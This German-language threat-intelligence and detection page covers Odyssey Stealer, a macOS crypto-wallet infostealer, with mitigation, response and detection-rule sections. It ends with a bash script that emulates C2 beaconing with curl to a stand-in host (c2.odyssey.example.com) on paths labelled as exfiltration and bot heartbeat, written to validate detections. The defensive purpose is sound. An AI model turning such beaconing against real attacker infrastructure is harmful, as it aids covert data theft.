Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Odyssey Stealer ist ein macOS-Infostealer, der sich auf Kryptowährungswallets und -erweiterungen konzentriert. Er wird als Malware-as-a-Service-Plattform vermarktet, bei der Partner Zugriff auf einen zentralisierten C2 und ein Admin-Panel mieten. Die Bereitstellung erfolgt typischerweise über verschleiertes AppleScript, das einen persistenten LaunchDaemon installiert, der den C2 nach Befehlen abfragt. Der Betreiber kann auch legitime Ledger- und Trezor-Apps durch trojanisierte Builds ersetzen, um Anmeldedaten und Transaktionsdaten zu erfassen.
Untersuchung
Forscher haben den C2 mit einzigartigen HTML-Meta-Tags, Seitenkörper-Hashes und einem gemeinsamen Favicon-Hash identifiziert. Sie kartierten zehn physische Hosts über mehrere ASN-Cluster hinweg, hauptsächlich in Europa und den Niederlanden. Die Zerlegung der Nutzlast ergab einen mehrstufigen AppleScript-Dropper, LaunchDaemon-Persistenz und eine in Go kompilierte SOCKS5-Proxy-Binärdatei. In den Dropper eingebettete Konfigurationsdaten enthüllten Partnerkennungen und Build-IDs.
Minderung
Achten Sie auf verdächtige osascript-Aktivitäten, insbesondere lange verschleierte Zeichenfolgen, unbekannte LaunchDaemon-Plist-Dateien mit zufälligen Bezeichnungen und ausgehende POST-Anfragen an „/log“-Endpunkte. Alarmieren Sie bei von LaunchDaemon erzeugten Binärdateien und verdächtigen SOCKS5-Aktivitäten. Überprüfen Sie die Code-Signatur für Ledger- und Trezor-Anwendungen und blockieren Sie bekannte C2-Domains und IP-Adressen. Schulen Sie Benutzer darin, unerwartete Passwortabfragen und „Wallet-Updates“ als hohes Risiko zu betrachten.
Reaktion
Bei Erkennung das System isolieren, den bösartigen LaunchDaemon beenden und trojanisierte Wallet-Anwendungen entfernen. Netzwerkverkehr zu den identifizierten C2-Domains und IPs erfassen zur Untersuchung, dann offengelegte Kryptowährungs-Anmeldeinformationen zurücksetzen und macOS-Passwörter wechseln. Eine vollständige forensische Überprüfung durchführen, um zusätzliche Artefakte zu identifizieren.
Angriffsfluss
Erkennung
MacOS-Shell archiviert Anwendungsunterstützungsdaten (via cmdline)
Ansehen
MacOS Osascript erzeugt Curl (via cmdline)
Ansehen
MacOS-Shell schreibt in LaunchDaemons-Verzeichnis (via file_event)
Ansehen
IOCs (SourceIP) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (DestinationIP) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (HashSha256) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (HashMd5) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
Odyssey Stealer C2-Endpunkt-Erkennung [Webserver]
Ansehen
Odyssey Stealer: Erkennung von verschleiertem AppleScript und Curl-Nutzung [Linux Prozess-Erstellung]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorabüberprüfung muss bestanden sein.
-
Angriffserzählung & Befehle:
Ein Angreifer hat den Odyssey Stealer auf einem macOS-Arbeitsplatz eingesetzt. Nachdem der Benutzer kompromittiert wurde, initiiert die Malware ein Signal an ihren C2-Server, um zusätzliche Nutzlasten herunterzuladen und gesammelte Daten zu exfiltrieren. Das Signal verwendet den nativencurlBinary (von Apple signiertes Binary), um HTTP GET-Anfragen an die in der Regel definierten C2-Endpunkte zu stellen. Der Angreifer wählt diese spezifischen URI-Pfade, da sie kurz sind, sich in den normalen Webverkehr einfügen und von allgemeinen URL-Filterlösungen nicht erkannt werden.Schritte:
- Lösen Sie den C2-Hostnamen auf (simuliert als
c2.odyssey.example.com). - Führen Sie eine GET-Anfrage an
/d/aff123456– ahmt den Daten-Exfiltration-Endpunkt mit einem zufälligen Partnercode und numerischem Token nach. - Führen Sie eine GET-Anfrage an
/api/v1/bot/– simuliert Bot-Management-Heartbeat. - Optional können Sie eine Anfrage an
/logsenden, um den internen Protokollierungsverkehr zu emulieren, den die Malware für Statusmeldungen verwendet.
- Lösen Sie den C2-Hostnamen auf (simuliert als
-
Regressionstest-Skript: Das folgende Bash-Skript reproduziert den genauen Verkehr, der zur Auslösung der Erkennungsregel erforderlich ist.
#!/usr/bin/env bash # Odyssey Stealer C2 Beacon-Simulation für Erkennungsvalidierung # Anforderungen: curl, Netzwerk-Proxy wie in den Vorab-Schritten konfiguriert C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # Ihrer Squid-Proxy-Adresse anpassen # Funktion zum Senden einer Anfrage über den Proxy send_request() { local path=$1 echo "[*] Anfrage senden an https://${C2_HOST}${path} über Proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Datenexfiltrations-Endpunkt (zufälliger Partner + Ziffern) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Bot-Management-Heartbeat send_request "/api/v1/bot/" # 3. Optionaler Protokollierungsendpunkt send_request "/log" echo "[+] Simulation abgeschlossen. Überprüfen Sie Alarme im SIEM."Speichern Sie das Skript als
odyssey_beacon.sh, machen Sie es ausführbar (chmod +x odyssey_beacon.sh), und führen Sie es auf dem macOS-Testhost aus. -
Bereinigungsbefehle: Entfernen Sie alle temporären Dateien und deaktivieren Sie optional den Proxy für den Testbenutzer.
# Deaktivieren Sie die Proxy-Einstellungen für die Wi-Fi-Schnittstelle networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Optional) Stoppen Sie Squid, wenn es nur für diesen Test gestartet wurde # brew services stop squid echo "Proxy-Einstellungen wiederhergestellt und Squid (falls zutreffend) gestoppt."